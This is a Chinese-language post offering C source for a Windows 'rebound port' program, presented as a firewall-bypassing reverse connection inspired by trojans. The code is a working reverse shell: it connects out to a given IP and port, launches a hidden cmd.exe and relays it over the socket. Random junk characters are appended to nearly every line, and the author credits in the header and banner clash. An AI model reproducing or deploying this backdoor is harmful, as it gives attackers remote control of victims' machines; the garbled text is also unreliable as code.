这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %4Nq T
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/* ============================== :K!@zT=o
Rebound port in Windows NT ~jd:3ip+!
By wind,2006/7 .Gq)@{o>
===============================*/ t I9$m[
#include tS2 P|fl
#include =2VM(GtK>
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#pragma comment(lib,"wsock32.lib") o;o
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void OutputShell(); T-=sC=sS,
SOCKET sClient; ojO<sT:by
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; P |c6V
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void main(int argc,char **argv) .tB[8Y =J
{ dZ UB
WSADATA stWsaData; w.qpV]9>
int nRet; YaTJKgi"0
SOCKADDR_IN stSaiClient,stSaiServer; B\2<r5|QG
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if(argc != 3) *iB_$7n`
{ ffGiNXCM
printf("Useage:\n\rRebound DestIP DestPort\n"); Sqw.p#
return; A_: Bz:
} YQ>M&lnQ<
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WSAStartup(MAKEWORD(2,2),&stWsaData); 6:i(<7
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q!Rknj 2
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stSaiClient.sin_family = AF_INET; 9N>Dp N
stSaiClient.sin_port = htons(0); [((P,v*
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); [`P+{ R
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) XW6>;:4k
{ PTe8,cD>
printf("Bind Socket Failed!\n"); -#v1b>ScY
return;
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} 3_(fisvx
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stSaiServer.sin_family = AF_INET; [Q,E(
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); uX@RdkC
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #$(F&>pj
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _yTGv-
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printf("Connect Error!"); b_*Y5"(*
return; e:IUO1#
} R;6(2bTN6
OutputShell(); 6\(wU?m'/
} xW*L^97 ;
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void OutputShell() QK-_~9V
{ XGZ1a/x;s
char szBuff[1024]; ,u|vpN
SECURITY_ATTRIBUTES stSecurityAttributes; U/E M(y
OSVERSIONINFO stOsversionInfo; S?nXpYr
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Le"$k su>
STARTUPINFO stStartupInfo; nG&=$7x^
char *szShell; EzK,SN#
PROCESS_INFORMATION stProcessInformation; RE`XyS0Q
unsigned long lBytesRead; 0|8c2{9X,
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0qSd#jO
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); y5>859"h
stSecurityAttributes.lpSecurityDescriptor = 0; Z^9;sb,x
stSecurityAttributes.bInheritHandle = TRUE; :(,uaX>{
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); BY"<90kBL
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); xq v4gN6
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); W0eb9g`s
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~}|)@,N'bm
stStartupInfo.wShowWindow = SW_HIDE; $6 \v1
stStartupInfo.hStdInput = hReadPipe; %qRbl4
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; cYyv
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GetVersionEx(&stOsversionInfo); U<fe 'd
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switch(stOsversionInfo.dwPlatformId) uiDK&@RS
{ 9vT@ mqKu
case 1: ^2OBc
szShell = "command.com"; "exph$
break; 8D[P*?O
default: &;5QB
szShell = "cmd.exe"; 6rMGlzuRo
break; Be"D0=<
} #\1;d8h
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :
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send(sClient,szMsg,77,0); ext`%$ U7
while(1) ;
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); #R<4K0Xan
if(lBytesRead) zbZ0BD7e
{ \D>vdn"Lx
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]N}80*Rl
send(sClient,szBuff,lBytesRead,0); c.m8~@O5+
} j`Fsr?]/
else m5r65=E
{ .)|r!X
lBytesRead=recv(sClient,szBuff,1024,0); .]g>.
if(lBytesRead<=0) break; ^il'Q_-{
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (1gfb*L
} O]RP ?'vO
} eAS~>|N#x
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return; Y!* \=h6h
}